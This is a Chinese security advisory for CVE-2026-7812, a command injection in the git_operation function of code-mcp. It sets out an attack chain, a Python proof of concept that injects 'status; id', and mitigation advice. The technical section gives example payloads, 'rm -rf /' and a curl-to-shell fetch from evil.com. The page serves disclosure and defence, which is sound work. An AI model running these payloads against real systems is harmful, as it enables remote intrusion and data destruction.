IPBUF安全漏洞报告
English
CVE-2026-7812 CVSS 7.3 高危

CVE-2026-7812 code-mcp命令注入漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-7812
漏洞类型
命令注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
54yyyu code-mcp

相关标签

命令注入RCECVE-2026-7812code-mcpCWE-78OS Command Injection

漏洞概述

54yyyu/code-mcp 项目是一个持续交付的工具,其 MCP Tool 组件存在严重安全漏洞。漏洞位于 `src/code_mcp/server.py` 文件的 `git_operation` 函数中,由于对用户输入的 `operation` 参数缺乏有效的清洗机制,导致攻击者可构造恶意payload实施远程命令注入攻击。利用该漏洞无需用户交互或认证,可能导致系统机密性、完整性和可用性受损。目前漏洞利用细节已公开,但官方尚未发布修复版本。

技术细节

该漏洞属于典型的操作系统命令注入漏洞。在 `54yyyu/code-mcp` 项目的 `src/code_mcp/server.py` 文件中,`git_operation` 函数负责处理与 git 相关的操作。代码逻辑中存在严重缺陷,直接将用户通过 API 或接口传入的 `operation` 参数拼接进操作系统命令行进行执行,而未进行严格的输入验证、过滤或使用参数化执行机制。这意味着攻击者可以注入恶意的 Shell 命令。例如,通过在参数末尾添加分号、管道符或逻辑连接符(如 `;`、`|`、`&&`),后接 `rm -rf /` 或 `curl http://evil.com/shell | sh` 等命令,服务器会在执行 git 操作的同时执行攻击者的任意指令。由于 CVSS 评分为 7.3 且向量为 `AV:N/AC:L/PR:N/UI:N`,表明该漏洞可被未认证的攻击者通过网络远程利用,且利用难度较低,对服务器安全构成严重威胁。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在运行 54yyyu/code-mcp 服务,且版本受影响(commit <= 4cfc4643)。
STEP 2
漏洞探测
攻击者向 `git_operation` 接口发送特制的请求,在 `operation` 参数中注入 Shell 元字符(如 `;` 或 `&&`),观察响应是否包含命令执行结果。
STEP 3
命令执行
确认漏洞存在后,攻击者构造恶意 Payload(如反弹 Shell 或下载恶意软件),通过 `operation` 参数在服务器上下文中执行。
STEP 4
权限维持与横向移动
利用获取的 Shell 权限,攻击者可能在内网中横向移动,窃取数据或部署持久化后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (example, replace with actual target) target_url = "http://localhost:8000/git_operation" # The vulnerable parameter is 'operation' # Payload attempts to execute 'id' command after a valid git operation or separator payload_data = { "operation": "status; id" } headers = { "Content-Type": "application/json" } try: # Sending malicious request response = requests.post(target_url, data=json.dumps(payload_data), headers=headers) print(f"Status Code: {response.status_code}") print(f"Response Body:\n{response.text}") # Check if command execution indicators are present if "uid=" in response.text or "gid=" in response.text: print("[+] Potential Command Injection detected!") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"An error occurred: {e}")

影响范围

54yyyu code-mcp <= commit 4cfc4643541a110c906d93635b391bf7e357f4a8

防御指南

临时缓解措施
建议立即限制对该服务的网络访问,仅允许可信的内网 IP 连接。在代码层面,应修改 `git_operation` 函数,移除直接拼接命令的逻辑,改用参数化查询或官方 Git 库。由于官方尚未发布补丁,建议暂时禁用该功能或回滚到已知的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表